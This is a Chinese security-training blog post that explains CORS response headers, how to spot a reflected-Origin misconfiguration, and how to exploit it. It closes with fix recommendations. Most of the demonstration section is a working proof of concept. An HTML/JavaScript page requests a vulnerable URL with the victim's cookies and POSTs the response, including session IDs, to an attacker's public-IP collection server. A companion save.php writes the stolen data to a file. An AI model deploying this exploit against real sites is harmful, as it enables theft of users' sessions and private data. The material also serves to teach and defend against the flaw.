zkaq - 小博 掌控安全EDU 2023-11-06 12:01 发表于江西
本文由掌控安全学院 - 小博 投稿 CORS跨资源共享跨源资源共享 (CORS) 是一种浏览器机制,允许网页使用来自其他页面或域的资产和数据。
大多数站点需要使用资源和图像来运行它们的脚本。这些嵌入式资产存在安全风险,因为这些资产可能包含病毒或允许服务器访问黑客。 CORS响应头CORS通过在服务器端设置响应头来进行配置。当浏览器发起跨域请求时,服务器可以通过设置特定的CORS响应头来告知浏览器是否允许该请求。常见的CORS响应头包括以下几个: Access-Control-Allow-Origin:指定允许访问该资源的源。可以是具体的源或通配符(*),表示允许来自任意源的访问。
Access-Control-Allow-Methods:指定允许的HTTP方法(如GET、POST、PUT等)。
Access-Control-Allow-Headers:指定允许的请求头字段。
Access-Control-Allow-Credentials:指定是否允许发送身份凭证(如cookies、HTTP认证等)。
Access-Control-Max-Age:指定预检请求(OPTIONS)的有效期,以减少对服务器的频繁请求。 寻找CORS漏洞在数据包请求体中加入一个origin请求头
观察响应包,发现Origin可控,
- Access-Control-Allow-Credentials: true
- Access-Control-Allow-origin:http://xxxx.com
复制代码
还没有验证referer,就说明可以劫持了。 实战原理如果目标存在CORS跨资源共享漏洞,对方管理员在没有退出自己所管理的网站的情况下,点击恶意攻击者已经构造好的恶意网站,攻击者可以修改Origin字段为任意指定的值,实现绕过浏览器同源策略的限制,基于CORS漏洞发起恶意请求,实现对目标资源的恶意跨域访问,并读取服务器的响应结果,从而造成服务器的信息泄露。 实战演示发现cors通过抓包抓到一个可以响应自己sessionid的请求体
进行跨资源共享1.html
poc如下:
- <h1>CORS test</h1>
- function loadXMLDoc()
- {
- var xhr1;
- var xhr2;
- if(window.XMLHttpRequest)
- {
- xhr1 = new XMLHttpRequest();
- xhr2 = new XMLHttpRequest();
- }
- else
- {
- xhr1 = new ActiveXObject("Microsoft.XMLHTTP");
- xhr2= new ActiveXObject("Microsoft.XMLHTTP");
- }
- xhr1.onreadystatechange=function()
- {
- if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
- {
- var datas=xhr1.responseText;
- xhr2.open("POST","http://要输入自己的炮台文件地址(需要公网ip)","true");
- alert('3');
- xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");
- xhr2.send("T1="+escape(datas));
- }
- }
- xhr1.open("GET","https://要输入的存在cors漏洞的url地址","true") //request user page.
- alert(xhr1.responseText);
- xhr1.withCredentials = true; //request with cookie
- xhr1.send();
- }
- loadXMLDoc();
复制代码
save.php
poc如下:
- <?php
- $myfile = fopen("1.txt","w+") or die("Unable to open file!");
- $txt = $_POST['T1'];
- fwrite($myfile,$txt);
- fclose($myfile);
- ?>
复制代码
修复建议1、正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
2、只允许信任的网站
3、避免将null列入白名单
避免使用标题Access-Control-Allow-Origin: null。
|